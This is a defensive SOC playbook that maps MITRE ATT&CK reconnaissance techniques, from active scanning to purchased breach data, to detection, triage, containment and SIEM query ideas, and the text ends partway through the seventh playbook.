

MITRE ATT&CK PLAYBOOK FOR SOC INVESTIGATION & RESPONSE

BY IZZMIER IZZUDDIN

RECONNAISSANCE

Reconnaissance is the stage where attackers quietly or noisily gather information to understand an organisation before launching an attack. Instead of exploiting systems immediately, they focus on learning what assets exist, how the environment is structured, who the key people are and where weaknesses may lie. This activity can range from obvious actions like scanning IP ranges and probing web endpoints, to stealthier methods such as harvesting identity data, analysing public websites, querying open technical databases or using paid threat-intelligence and breach data. For SOC teams, reconnaissance should be treated as an early warning phase rather than background noise, because it often precedes phishing, credential attacks, exploitation and lateral movement. Detecting and responding to reconnaissance early allows defenders to reduce attack surface, harden exposed systems, alert at-risk users and prepare for follow-on activity before a full compromise occurs.

Playbook 1 (MITRE Reconnaissance): Active Scanning

Technique: Active Scanning

Sub-techniques:

- Scanning IP Blocks
- Vulnerability Scanning
- Wordlist Scanning

Purpose

Detect, investigate and respond to adversaries actively probing external or internal infrastructure to discover attack surfaces, enabling attackers to:

- Identify live hosts, services and exposed ports
- Detect vulnerable applications and configurations
- Enumerate directories, endpoints, APIs and credentials
- Prepare precision attacks rather than noisy exploitation
- Build targeting intelligence before initial access

Active Scanning is pre-attack mapping attackers are knocking on every door to decide which one to break.

When to trigger this playbook

Trigger this playbook when indicators suggest intentional, systematic probing activity, including:

- Sequential or patterned port scans
- Repeated requests across IP ranges or subnets
- Automated vulnerability scanner signatures
- High-volume HTTP requests with wordlist-style paths
- Scanning behaviour without legitimate business context

Example use case scenario (end-to-end)

Context: SOC detects thousands of inbound connection attempts across multiple ports from a small set of IPs. Web logs show repeated requests to /admin, /login, /api/v1 and /backup.zip. No exploitation occurs yet, but the activity spans several hours and IP ranges.

Attacker objective: Map reachable systems, identify weaknesses and prioritise targets for exploitation.

Defender objective: Detect reconnaissance early, block scanning sources and harden exposed surfaces before compromise.

What it looks like (simulated SOC artefacts)

A) Scanning IP Blocks

SourceIP=45.83.XX.XX
TargetRange=203.0.113.0/24
Ports=22,80,443,3389
Pattern=Sequential

B) Vulnerability Scanning

UserAgent=NessusScanner
RequestType=Probe
Payload=KnownVulnCheck

C) Wordlist Scanning (T1595.002)

URI=/admin
URI=/wp-login.php
URI=/api/health
Count=Thousands

D) High Request Rate

RequestsPerSecond=200

E) No Legitimate Session

Auth=Anonymous
Session=None

F) Repeated Patterns

RequestOrder=Alphabetical

Severity decision (SOC)

Medium

- Limited or short-lived scanning with no follow-up

High

- Sustained scanning across services or IP ranges
- Reconnaissance targeting critical or exposed systems

Critical

- Scanning immediately followed by exploitation attempts
- Coordinated scanning from multiple sources

Example severity: High

(Confirmed hostile reconnaissance activity)

Step-by-step SOC workflow

Step 1 Validate active scanning

Confirm:

1. Is the activity systematic and automated?
2. Does it target multiple ports, hosts or endpoints?
3. Is there no legitimate business justification?
4. Are signatures consistent with known scanners or tools?

Decision point

- Legitimate security testing → validate approval
- Unauthorised active scanning → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
IP block scanning	Sequential IPs	Asset discovery
Vulnerability scanning	Scanner payloads	Weakness mapping
Wordlist scanning	Repeated paths	Entry point discovery
Low auth context	Anonymous requests	Stealth
Automation	Consistent patterns	Speed

Step 3 Map behaviour to attacker intent

3A) Target Discovery

Indicators

- Port and service enumeration

Attacker intent

- Identify reachable assets

3B) Weakness Identification

Indicators

- Vulnerability probe signatures

Attacker intent

- Find exploitable flaws

3C) Access Path Enumeration

Indicators

- /admin, /login, /backup scans

Attacker intent

- Locate authentication or misconfigurations

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - Exploit public-facing applications
2. Credential Access
 - Brute force or password spraying
3. Persistence
 - Backdoor creation post-exploit
4. Defense Evasion
 - IP rotation or throttled scanning

Decision point

- Exploitation observed → escalate to Intrusion IR

Containment actions

Immediate

1. Block or rate-limit scanning source IPs
2. Enable WAF or IDS rules for scan signatures
3. Increase logging and monitoring on targeted assets

If hostile scanning confirmed

1. Add sources to threat intelligence blocklists
2. Validate exposure and patch vulnerable services
3. Notify SOC leadership and infrastructure owners

Eradication and recovery

- Harden exposed ports and services
- Patch identified vulnerabilities proactively
- Remove unused endpoints and directories
- Review firewall and WAF rules
- Monitor for renewed scanning or exploitation attempts

Detection engineering (SIEM ideas)

A) Port scanning detection

```
index=netflow
| stats dc(dest_port) by src_ip
| where dc(dest_port) > threshold
```

B) Vulnerability scanner user-agents

```
index=web
| where user_agent IN ("Nessus","OpenVAS","Nikto","Acunetix")
```

C) Wordlist path enumeration

```
index=web
| stats count by src_ip, uri_path
| where count > threshold
```

Analyst checklist

- Active scanning confirmed
- Sub-techniques identified
- Targeted assets documented

- Blocking and hardening applied
- Follow-on activity monitored

Post-incident improvements

- Treat reconnaissance as an early-warning signal
- Maintain baselines for normal scanning (e.g. vulnerability management)
- Harden internet-facing attack surfaces continuously
- Correlate scan → exploit → compromise
- Include recon-detection scenarios in SOC training

Playbook 2 (MITRE Reconnaissance): Gather Victim Host Information

Technique: Gather Victim Host Information

Sub-techniques:

- Hardware
- Software
- Firmware
- Client Configurations

Purpose

Detect, investigate and respond to adversaries collecting detailed information about victim hosts to optimise later attack stages, enabling attackers to:

- Tailor exploits to specific hardware or OS versions
- Select malware compatible with installed software
- Identify firmware weaknesses or persistence paths
- Understand endpoint security posture and user environment
- Reduce noise and failure during exploitation

Gather Victim Host Information is precision reconnaissance attackers want to know the exact machine they're about to break.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic enumeration of host characteristics, including:

- Queries for hardware, OS or BIOS details
- Enumeration of installed applications and versions
- Collection of firmware or driver information
- Discovery of endpoint configurations (AV, EDR, policies)
- Host profiling activity occurring before exploitation

Example use case scenario (end-to-end)

Context: SOC detects a low-privileged user executing commands to enumerate system hardware, OS version, installed software and BIOS details. Shortly after, the same host attempts to download an exploit targeting a specific kernel version.

Attacker objective: Collect host-specific intelligence to select the most reliable exploit and payload.

Defender objective: Detect early reconnaissance, block further activity and prevent targeted exploitation.

What it looks like (simulated SOC artefacts)

A) Hardware Enumeration

Command=wmic cpu get name

Command=wmic memorychip get capacity

B) Software Enumeration

Action=ListInstalledPrograms

Result=ApplicationsWithVersions

C) Firmware Discovery

Command=wmic bios get smbiosbiosversion

D) Client Configuration Discovery

Command=systeminfo

Command=gpreresult /r

E) Security Tool Awareness

ProcessQuery=antivirus,edr

F) Timing Correlation

Event=HostRecon

FollowedBy=ExploitDownload

Severity decision (SOC)

Medium

- Limited host enumeration without follow-up

High

- Sustained host profiling activity
- Reconnaissance tied to exploit preparation

Critical

- Host recon immediately preceding exploitation or privilege escalation

Example severity: High

(Confirmed host reconnaissance for targeted attack)

Step-by-step SOC workflow

Step 1 Validate host information gathering

Confirm:

1. Are commands or tools enumerating host attributes?
2. Is the activity systematic and multi-category (hardware, software, firmware)?
3. Does it occur outside normal admin or IT workflows?
4. Is it preceding suspicious downloads or actions?

Decision point

- Legitimate IT inventory → validate approval
- Malicious host reconnaissance → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Hardware	CPU/RAM/device queries	Exploit reliability
Software	App/version lists	Payload compatibility
Firmware	BIOS/UEFI info	Persistence options
Client config	Policies, AV, EDR	Defense awareness
Low privilege	User-level access	Stealth

Step 3 Map behaviour to attacker intent

3A) Exploit Targeting

Indicators

- OS and kernel version discovery

Attacker intent

- Choose working exploits

3B) Defense Avoidance

Indicators

- AV/EDR and policy checks

Attacker intent

- Evade detection

3C) Persistence Planning

Indicators

- Firmware and boot info

Attacker intent

- Establish durable access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access / Execution
 - Exploit attempts, payload delivery
2. Privilege Escalation
 - Kernel or driver exploits
3. Persistence
 - Scheduled tasks, services, firmware abuse
4. Defense Evasion
 - Disabling security tooling

Decision point

- Exploitation detected → escalate to Intrusion IR

Containment actions

Immediate

1. Isolate affected host if risk is high
2. Block suspicious tools or scripts
3. Increase monitoring on the user and endpoint

If malicious recon confirmed

1. Revoke or limit user privileges
2. Preserve endpoint telemetry and command history
3. Patch and harden the identified host
4. Notify SOC leadership and endpoint owners

Eradication and recovery

- Remove attacker tools or scripts
- Reset credentials used on the host
- Rebuild system if compromise is suspected
- Validate endpoint security posture
- Monitor closely for renewed reconnaissance

Detection engineering (SIEM ideas)

A) Host enumeration commands

```
index=edr  
| where process_name IN ("wmic","systeminfo","lshw","dmidecode")
```

B) Software inventory abuse

```
index=edr  
| where action="ListInstalledPrograms"  
| where user_role!="IT_Admin"
```

C) Firmware info access

```
index=edr  
| where command LIKE "%bios%"
```

Analyst checklist

- Host information gathering confirmed
- Sub-techniques identified
- Affected hosts documented
- Hardening and monitoring applied
- Follow-on activity watched closely

Post-incident improvements

- Treat host profiling as a pre-attack signal
- Restrict system inventory commands where possible
- Monitor for recon patterns across endpoints

- Correlate host recon → exploit → compromise
- Include host-recon scenarios in SOC detection playbooks

BY IZMER IZUDDIN

Playbook 3 (MITRE Reconnaissance): Gather Victim Identity Information

Technique: Gather Victim Identity Information

Sub-techniques:

- Credentials
- Email Addresses
- Employee Names

Purpose

Detect, investigate and respond to adversaries collecting identity-related information about users within the target organisation, enabling attackers to:

- Build accurate target lists for phishing and social engineering
- Prepare credential-based attacks (spraying, stuffing, MFA abuse)
- Impersonate real employees convincingly
- Map privilege levels and organisational roles
- Increase success rate of initial access and lateral movement

Gather Victim Identity Information is human-focused reconnaissance attackers are not targeting systems, yet they are targeting people.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic harvesting of user identity data, including:

- Enumeration of usernames, email addresses or employee names
- Harvesting credentials from exposed sources or prior breaches
- Scraping corporate directories, portals or APIs
- Repeated identity-related queries preceding phishing or login attempts
- Reconnaissance activity focused on people rather than infrastructure

Example use case scenario (end-to-end)

Context: SOC observes a surge in requests against an externally exposed employee directory endpoint. Shortly after, multiple employees receive targeted phishing emails using their real names and job titles. Several authentication attempts follow using valid username formats.

Attacker objective: Build a high-fidelity identity dataset to maximise success of phishing and credential attacks.

Defender objective: Detect identity reconnaissance early and disrupt downstream access attempts.

What it looks like (simulated SOC artefacts)

A) Credential Collection Indicators

Source=LeakedDatabase
UsernameFormat=firstname.lastname
PasswordHash=Present

B) Email Address Enumeration

Pattern=@company.com
Requests=Thousands
Endpoint=/users/search

C) Employee Name Harvesting

Source=LinkedProfiles
Fields=FullName,Title,Department

D) Directory Scraping

API=/employeeLookup
QueryType=Sequential

E) Identity Correlation

Names=MappedToEmails
Emails=MappedToRoles

F) Follow-on Activity

NextEvent=PhishingCampaign

Severity decision (SOC)

Medium

- Limited identity data collection with no immediate follow-up

High

- Sustained identity harvesting

- Reconnaissance linked to phishing or auth attempts

Critical

- Identity recon immediately enabling credential compromise or access

Example severity: High

(Confirmed identity reconnaissance preceding access attempts)

Step-by-step SOC workflow

Step 1 Validate identity information gathering

Confirm:

1. Is identity data being collected systematically?
2. Are credentials, emails or names being enumerated at scale?
3. Is the source external or unauthorised?
4. Is activity preceding phishing or login attempts?

Decision point

- Legitimate HR or directory usage → validate approval
- Malicious identity reconnaissance → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Credentials	Leaks, dumps, reuse	Immediate access
Email addresses	Directory scraping	Phishing delivery
Employee names	OSINT, scraping	Social engineering
Correlation	Names ↔ emails	Precision targeting
Automation	Sequential queries	Scale

Step 3 Map behaviour to attacker intent

3A) Phishing Preparation

Indicators

- Email and name harvesting

Attacker intent

- Increase phishing success

3B) Credential Attack Readiness

Indicators

- Credential lists or username formats

Attacker intent

- Enable spraying or stuffing

3C) Impersonation and Trust Abuse

Indicators

- Role and title collection

Attacker intent

- Convince victims and bypass controls

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing
 - Spearphishing emails or messages
2. Credential Access
 - Brute force, spraying, stuffing
3. Initial Access
 - Valid account usage
4. Lateral Movement
 - Impersonation of real users

Decision point

- Follow-on detected → escalate to Intrusion / Identity IR

Containment actions

Immediate

1. Rate-limit or block identity enumeration endpoints
2. Mask or restrict publicly exposed identity data

3. Increase monitoring on authentication and email gateways

If malicious identity recon confirmed

1. Reset or protect at-risk credentials
2. Alert employees of targeted phishing risk
3. Disable exposed directory or API functions
4. Notify SOC leadership, IAM, HR and Security Awareness teams

Eradication and recovery

- Remove exposed identity data sources
- Harden directory access controls
- Enforce MFA and strong auth policies
- Review email and IAM protections
- Monitor closely for renewed identity harvesting

Detection engineering (SIEM ideas)

A) Email enumeration detection

```
index=web  
| where uri LIKE "%user%" OR uri LIKE "%employee%"  
| stats count by src_ip  
| where count > threshold
```

B) Credential reuse monitoring

```
index=auth  
| where auth_result="Failure"  
| stats count by username  
| where count > threshold
```

C) Identity recon followed by phishing

```
index=web OR index=email  
| transaction src_ip maxspan=24h
```

Analyst checklist

- Identity reconnaissance confirmed
- Sub-techniques identified
- Exposed identities assessed
- Protections and alerts applied

- Follow-on attacks monitored

Post-incident improvements

- Treat identity data as a critical attack surface
- Minimise public exposure of names and emails
- Monitor for identity enumeration patterns
- Correlate identity recon → phishing → access
- Include human-focused recon scenarios in SOC training

Playbook 4 (MITRE Reconnaissance): Gather Victim Network Information

Technique: Gather Victim Network Information

Sub-techniques:

- Domain Properties
- DNS
- Network Trust Dependencies
- Network Topology
- IP Addresses
- Network Security Appliances

Purpose

Detect, investigate and respond to adversaries collecting detailed network-level intelligence to understand how an organisation's environment is connected, protected and trusted, enabling attackers to:

- Identify authoritative domains, subdomains and trust boundaries
- Discover DNS records, name servers and resolution patterns
- Map inter-domain, inter-forest or cloud trust relationships
- Understand internal and external network layout
- Identify IP ranges and exposed services
- Fingerprint firewalls, WAFs, IDS/IPS and security controls

Gather Victim Network Information is map-making reconnaissance attackers want a clear blueprint of how traffic flows and where controls sit before choosing an entry point.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic network intelligence gathering, including:

- Enumeration of domains, subdomains and DNS records
- Repeated DNS queries for internal-looking hostnames
- Discovery of trust relationships or federation endpoints
- Probing of IP ranges without exploitation attempts
- Fingerprinting of network security devices or banners

Example use case scenario (end-to-end)

Context: SOC detects repeated DNS queries for internal-style hostnames (dc01.corp.local, vpn.corp.local) from an external IP. Passive DNS data shows extensive

subdomain enumeration. Shortly after, the same source probes VPN and firewall endpoints.

Attacker objective: Build a network-level understanding to plan initial access and lateral movement paths.

Defender objective: Detect reconnaissance early and harden exposed network surfaces.

What it looks like (simulated SOC artefacts)

A) Domain Properties Enumeration

Domain=corp.com
Subdomains=mail, vpn, portal, api
Registrar=Identified

B) DNS Reconnaissance

QueryType=ANY
Records=A,MX,TXT,NS
Frequency=High

C) Network Trust Discovery

Federation=Enabled
TrustType=ADFS
PartnerDomain=external-partner.com

D) Network Topology Inference

Traceroute=Multiple Hops
GatewayIdentified=Yes

E) IP Address Enumeration

TargetRange=203.0.113.0/22
LiveHosts=Identified

F) Network Security Appliance Fingerprinting

Banner=FortiGate
Service=WAF/VPN
Version=Exposed

Severity decision (SOC)

Medium

- Limited network information gathering without persistence

High

- Sustained, multi-faceted network reconnaissance
- Targeting critical infrastructure (DNS, VPN, firewalls)

Critical

- Recon immediately followed by exploitation attempts
- Recon combined with credential or phishing activity

Example severity: High

(Confirmed hostile network reconnaissance)

Step-by-step SOC workflow

Step 1 Validate network information gathering

Confirm:

1. Is activity systematic and network-focused?
2. Are domains, DNS, IPs or trusts being enumerated?
3. Is the source external or unauthorised?
4. Does the activity precede access or exploit attempts?

Decision point

- Legitimate partner or IT activity → validate approval
- Malicious network reconnaissance → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Domain properties	WHOIS, subdomains	Target scoping
DNS	Zone walking, queries	Host discovery
Trust dependencies	Federation endpoints	Lateral access paths
Network topology	Traceroute, hops	Movement planning
IP addresses	Range scanning	Attack surface
Security appliances	Banner/version info	Control bypass

Step 3 Map behaviour to attacker intent

3A) Attack Surface Mapping

Indicators

- Domain, IP and service enumeration

Attacker intent

- Identify reachable targets

3B) Trust Abuse Planning

Indicators

- Federation and trust discovery

Attacker intent

- Exploit cross-domain access

3C) Control Evasion Preparation

Indicators

- Security appliance fingerprinting

Attacker intent

- Bypass or exploit protections

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - VPN, web or service exploitation
2. Credential Access
 - Targeted auth attempts
3. Lateral Movement
 - Trust abuse or federation misuse
4. Defense Evasion
 - WAF or firewall bypass techniques

Decision point

- Exploitation observed → escalate to Intrusion IR

Containment actions

Immediate

1. Rate-limit or block reconnaissance sources
2. Restrict DNS responses and disable unnecessary records
3. Mask or suppress banner/version information

If hostile recon confirmed

1. Harden exposed network services
2. Review and tighten trust relationships
3. Notify SOC leadership and network/security owners

Eradication and recovery

- Remove unnecessary DNS records and subdomains
- Patch and harden network appliances
- Review firewall and VPN exposure
- Rebaseline normal DNS and network behaviour
- Monitor closely for renewed reconnaissance

Detection engineering (SIEM ideas)

A) DNS enumeration detection

```
index=dns  
| stats count dc(query) by src_ip  
| where count > threshold
```

B) IP range probing

```
index=netflow  
| stats dc(dest_ip) by src_ip  
| where dc(dest_ip) > threshold
```

C) Security appliance fingerprinting

```
index=web  
| where uri LIKE "%vpn%" OR uri LIKE "%admin%"
```

| where status=401 OR status=403

Analyst checklist

- Network reconnaissance confirmed
- Sub-techniques identified
- Targeted domains/IPs documented
- Hardening and blocking applied
- Follow-on activity monitored

Post-incident improvements

- Treat network recon as a precursor to intrusion
- Minimise exposed DNS and trust information
- Monitor for abnormal DNS and IP enumeration patterns
- Correlate network recon → access attempts → compromise
- Include network-recon scenarios in SOC training

Playbook 5 (MITRE Reconnaissance): Gather Victim Org Information

Technique: Gather Victim Org Information

Sub-techniques:

- Determine Physical Locations
- Business Relationships
- Identify Business Tempo
- Identify Roles

Purpose

Detect, investigate and respond to adversaries collecting organisational-level intelligence to understand how the organisation operates as a business, enabling attackers to:

- Target specific offices, regions or facilities
- Abuse trusted vendors, partners or supply-chain relationships
- Time attacks to business cycles, peak workloads or holidays
- Target the right people with the right authority
- Increase success of phishing, fraud, BEC and insider-style attacks

Gather Victim Org Information is strategic reconnaissance attackers stop asking “what systems exist?” and start asking “how does this organisation actually function?”

When to trigger this playbook

Trigger this playbook when indicators suggest systematic collection of organisational intelligence, including:

- Scraping of office locations, addresses or facility details
- Enumeration of partners, vendors and subsidiaries
- Monitoring business hours, fiscal cycles or operational rhythms
- Collection of job roles, reporting lines and decision-makers
- Reconnaissance focused on people, structure and timing rather than technology

Example use case scenario (end-to-end)

Context: SOC observes targeted phishing emails referencing a specific regional office and a known third-party vendor. Emails are sent just before month-end closing and impersonate finance managers by name. Earlier OSINT activity shows scraping of company locations, LinkedIn roles and partner announcements.

Attacker objective: Exploit organisational trust, timing and hierarchy to maximise success of fraud or access.

Defender objective: Detect org-level reconnaissance early and disrupt socially engineered attack chains.

What it looks like (simulated SOC artefacts)

A) Physical Location Discovery

Source=PublicWebsite
Data=OfficeAddresses,Maps,FloorDetails
Region=APAC, EMEA

B) Business Relationship Mapping

Source=PressReleases
Partners=CloudProvider, PayrollVendor
Relationship=Trusted

C) Business Tempo Identification

ObservedPattern=MonthEnd
ActivitySpike=FinanceOperations

D) Role Identification

Roles=FinanceManager, ITAdmin, HRLead
ReportingLine=Identified

E) Timing Correlation

ReconCompleted=Week-1
PhishingLaunched=Week-4 (Month End)

F) Precision Targeting

EmailContent=VendorSpecific + RoleSpecific

Severity decision (SOC)

Medium

- Limited org-level OSINT without follow-up

High

- Sustained organisational profiling

- Recon directly enabling phishing, fraud or impersonation

Critical

- Org recon immediately followed by BEC, fraud or access compromise

Example severity: High

(Confirmed organisational reconnaissance enabling targeted attack)

Step-by-step SOC workflow

Step 1 Validate organisational information gathering

Confirm:

1. Is data about locations, partners, roles or operations being collected?
2. Is the activity systematic and correlated across multiple sources?
3. Does it precede targeted phishing, fraud or impersonation?
4. Is the intelligence too specific to be random OSINT?

Decision point

- Normal public awareness → document
- Malicious org reconnaissance → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Physical locations	Offices, facilities	Targeted access
Business relationships	Vendors, partners	Trust abuse
Business tempo	Cycles, timing	Attack timing
Roles	Decision-makers	Authority abuse
Correlation	Multi-source OSINT	Precision

Step 3 Map behaviour to attacker intent

3A) Targeted Social Engineering

Indicators

- Role- and office-specific content

Attacker intent

- Increase credibility and success

3B) Supply-Chain or Vendor Abuse

Indicators

- Partner and vendor references

Attacker intent

- Bypass trust boundaries

3C) Timing Exploitation

Indicators

- Attacks aligned to busy periods

Attacker intent

- Reduce scrutiny and response

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing for Information
 - Spearphishing, BEC
2. Credential Access
 - MFA fatigue, impersonation
3. Initial Access
 - Valid accounts
4. Impact
 - Financial theft, fraud

Decision point

- Follow-on detected → escalate to Fraud / Intrusion IR

Containment actions

Immediate

1. Warn targeted teams (finance, HR, executives)
2. Increase monitoring on email and IAM systems

3. Review publicly exposed org information

If malicious org recon confirmed

1. Update phishing awareness and warnings
2. Restrict public disclosure of sensitive org details
3. Notify SOC leadership, HR, Legal and Fraud teams

Eradication and recovery

- Remove or reduce unnecessary public org disclosures
- Harden email, IAM and approval workflows
- Enforce strong verification for financial and admin actions
- Rebaseline normal communication patterns
- Monitor closely for renewed socially engineered attacks

Detection engineering (SIEM ideas)

A) Org-specific phishing detection

index=email
| where body LIKE "%office%" OR body LIKE "%vendor%"
| where sender_domain NOT IN trusted_domains

B) Role-targeted attack correlation

index=email OR index=auth
| transaction user maxspan=48h

C) Timing-based attack detection

index=email
| where date IN (month_end_window)

Analyst checklist

- Org-level reconnaissance confirmed
- Sub-techniques identified
- Targeted roles and teams notified
- Controls and awareness reinforced
- Follow-on attacks monitored

Post-incident improvements

- Treat organisational intelligence as an attack surface
- Limit unnecessary public exposure of roles and structures
- Monitor for role-specific and timing-based attacks
- Correlate org recon → phishing/fraud → access
- Include organisational-recon scenarios in SOC training

BY IZMER IZUDDIN

Playbook 6 (MITRE Reconnaissance): Phishing for Information

Technique: Phishing for Information

Sub-techniques:

- Spearphishing Service
- Spearphishing Attachment
- Spearphishing Link
- Spearphishing Voice

Purpose

Detect, investigate and respond to adversaries using phishing not to deliver malware, but to harvest information, enabling attackers to:

- Collect credentials, MFA responses or internal knowledge
- Validate email addresses, roles and trust relationships
- Gather sensitive business or technical details
- Prepare higher-impact follow-on attacks (BEC, credential abuse, intrusion)
- Test user awareness and organisational controls

Phishing for Information is interactive reconnaissance attackers ask the victim directly and let human trust do the work.

When to trigger this playbook

Trigger this playbook when indicators suggest phishing activity focused on information collection rather than payload delivery, including:

- Emails or messages asking for clarification, confirmation or access details
- Links leading to credential or information-capture pages
- Attachments containing forms or questionnaires rather than malware
- Voice calls requesting verification of processes or credentials
- Phishing that precedes later targeted attacks

Example use case scenario (end-to-end)

Context: Several finance staff receive emails impersonating a trusted vendor, asking them to “confirm the invoice approval workflow.” A follow-up phone call requests verification of MFA procedures. No malware is delivered, but attackers later attempt account access using harvested details.

Attacker objective: Gather process knowledge and authentication details to enable fraud and access.

Defender objective: Detect phishing reconnaissance early and prevent downstream compromise.

What it looks like (simulated SOC artefacts)

A) Spearphishing Service

Channel=Email/Teams
Impersonation=TrustedVendor
Request=ProcessConfirmation

B) Spearphishing Attachment

Attachment=Invoice_Confirmation_Form.docx
Action=RequestInformation

C) Spearphishing Link

URL=https://secure-portal[.]com/login
Purpose=CredentialHarvest

D) Spearphishing Voice

CallType=VoIP
Script=MFA Verification Request

E) No Malware Indicators

Payload=None
AVDetection=None

F) Follow-on Correlation

NextEvent=CredentialUseAttempt

Severity decision (SOC)

Medium

- Isolated phishing attempts with no sensitive data exposure

High

- Targeted phishing harvesting credentials or internal processes

Critical

- Information phishing directly enabling fraud, BEC or intrusion

Example severity: High

(Confirmed information-harvesting phishing)

Step-by-step SOC workflow

Step 1 Validate phishing for information

Confirm:

1. Is the message requesting information rather than delivering malware?
2. Is it targeted (role-specific, vendor-specific or personalised)?
3. Are links, attachments or calls designed to capture data?
4. Does it precede or correlate with access attempts?

Decision point

- Legitimate business request → validate source
- Phishing for information → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Spearphishing service	Email/chat requests	Process intel
Spearphishing attachment	Forms/documents	Structured data
Spearphishing link	Fake portals	Credentials
Spearphishing voice	Vishing calls	MFA/process details
Personalisation	Role/vendor references	Trust abuse

Step 3 Map behaviour to attacker intent

3A) Credential and MFA Intelligence

Indicators

- Login or verification requests

Attacker intent

- Prepare account compromise

3B) Business Process Mapping

Indicators

- Workflow or approval questions

Attacker intent

- Enable fraud or BEC

3C) Trust Validation

Indicators

- Vendor or executive impersonation

Attacker intent

- Increase later attack success

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Brute force, spraying, MFA abuse
2. Initial Access
 - Valid account usage
3. Impact
 - Financial theft, BEC
4. Persistence
 - Account changes or token abuse

Decision point

- Follow-on detected → escalate to Fraud / Intrusion IR

Containment actions

Immediate

1. Block phishing sender domains and URLs
2. Disable reported phishing pages
3. Alert targeted users and teams

If phishing for information confirmed

1. Reset exposed credentials and sessions
2. Review MFA and approval workflows
3. Preserve email, chat and call artefacts
4. Notify SOC leadership, IAM, Fraud and Awareness teams

Eradication and recovery

- Remove phishing artefacts and infrastructure
- Harden email, messaging and voice controls
- Reinforce verification procedures for sensitive requests
- Conduct targeted awareness refreshers
- Monitor closely for renewed phishing attempts

Detection engineering (SIEM ideas)

A) Info-request phishing detection

index=email
| where body LIKE "%confirm%" OR body LIKE "%verify%"
| where sender_domain NOT IN trusted_domains

B) Credential-harvest link detection

index=proxy
| where url_category="Login" AND dest_domain NOT IN allowlist

C) Vishing correlation

index=voice OR index=auth
| transaction user maxspan=24h

Analyst checklist

- Phishing for information confirmed
- Sub-techniques identified
- Exposed information assessed
- Users and systems protected
- Follow-on attacks monitored

Post-incident improvements

- Treat information requests as high-risk signals

- Strengthen verification for process and credential queries
- Correlate phishing → info disclosure → access
- Expand phishing detection and awareness
- Include phishing-for-info scenarios in SOC training

BY IZMER IZUDDIN

Playbook 7 (MITRE Reconnaissance): Search Closed Sources

Technique: Search Closed Sources

Sub-techniques:

- Threat Intel Vendors
- Purchase Technical Data

Purpose

Detect, investigate and respond to adversaries obtaining victim intelligence from non-public, paid or restricted sources, enabling attackers to:

- Access breach data, credentials and infrastructure details
- Obtain vulnerability intelligence not yet widely disclosed
- Purchase network diagrams, access brokers' listings or insider data
- Gain high-confidence targeting information without active probing
- Reduce noise and exposure during reconnaissance

Search Closed Sources is quiet, outsourced reconnaissance attackers don't scan or scrape they buy what someone else already stole or mapped.

When to trigger this playbook

Trigger this playbook when indicators suggest reconnaissance data originating from private or paid sources, including:

- Use of credentials or infrastructure knowledge never publicly exposed
- Attackers demonstrating precise internal knowledge early in an intrusion
- References to breach datasets, access broker listings or paid reports
- Reconnaissance that bypasses normal discovery phases
- Intelligence that appears too accurate to be guessed or scraped

Example use case scenario (end-to-end)

Context: SOC investigates a targeted intrusion where the attacker logs in using valid credentials that were never phished internally. Dark web monitoring reveals the company's VPN credentials were sold weeks earlier by an access broker. No prior scanning or phishing was detected.

Attacker objective: Leverage purchased intelligence to gain immediate, low-noise access.

Defender objective: Identify the intelligence source, contain compromised identities and prevent reuse.

What it looks like (simulated SOC artefacts)

A) Credential Use Without Precursor

AuthMethod=VPN
Username=employeeA
NoPriorPhishing=True

B) Dark Web / Closed Intel Correlation

Source=AccessBrokerForum
Data=VPNCredentials + MFAStatus

C) Threat Intel Vendor Reference

Dataset=PremiumBreachFeed
Fields=Emails,Passwords,IPs

D) Purchased Technical Data

AssetInfo=FirewallModel + FirmwareVersion
Source=PaidReport

E) High-Confidence Targeting

AttackPath=Known + Optimised
TrialAndError=None

F) Early Privileged Access

AccessAchieved=FirstAttempt

Severity decision (SOC)

High

- Closed-source intel used for limited access attempts

Critical

- Purchased intel enabling immediate access or privilege escalation
- Access broker or breach data used successfully

Example severity: Critical

(External intelligence-driven compromise)

Step-by-step SOC workflow

Step 1 Validate closed-source reconnaissance

Confirm:

1. Does the attacker demonstrate knowledge not publicly available?
2. Were credentials or technical details never exposed internally?
3. Is there no observable recon or phishing phase?
4. Is there corroboration from threat intel or dark web sources?

Decision point

- Coincidental overlap → continue investigation
- Closed-source recon confirmed → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Threat intel vendors	Breach datasets	Immediate access
Purchased technical data	Network/asset details	Precision attacks
Access brokers	Credential listings	Low-noise intrusion
Insider data	Accurate configs	Bypass defenses
No probing	Clean logs	Stealth

Step 3 Map behaviour to attacker intent

3A) Fast Initial Access

Indicators

- Successful login on first attempt

Attacker intent

- Skip reconnaissance and phishing

3B) Reduced Detection Risk

Indicators

- No scanning or enumeration

Attacker intent

- Avoid SOC early warning

3C) High-Value Targeting

Indicators

- Accurate system or role selection

Attacker intent

- Maximise ROI of purchased data

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - Valid account usage
2. Credential Access
 - Additional credential harvesting
3. Lateral Movement
 - Privilege escalation using known paths
4. Impact
 - Ransomware, data theft, fraud

Decision point

- Active intrusion detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable compromised accounts and sessions
2. Rotate credentials, secrets and keys
3. Block known attacker infrastructure

If closed-source recon confirmed

1. Conduct full credential hygiene review
2. Force password resets and MFA re-enrolment
3. Notify SOC leadership, IAM and Legal
4. Engage threat intel providers for scope validation

Eradication and recovery

- Remove attacker access and persistence
- Review historical auth logs for reuse
- Harden exposed services and identities
- Expand dark web and breach monitoring
- Monitor closely for reuse of sold data

Detection engineering (SIEM ideas)

A) First-attempt success detection

```
index=auth  
| where auth_result="Success"  
| where prior_failures=0
```
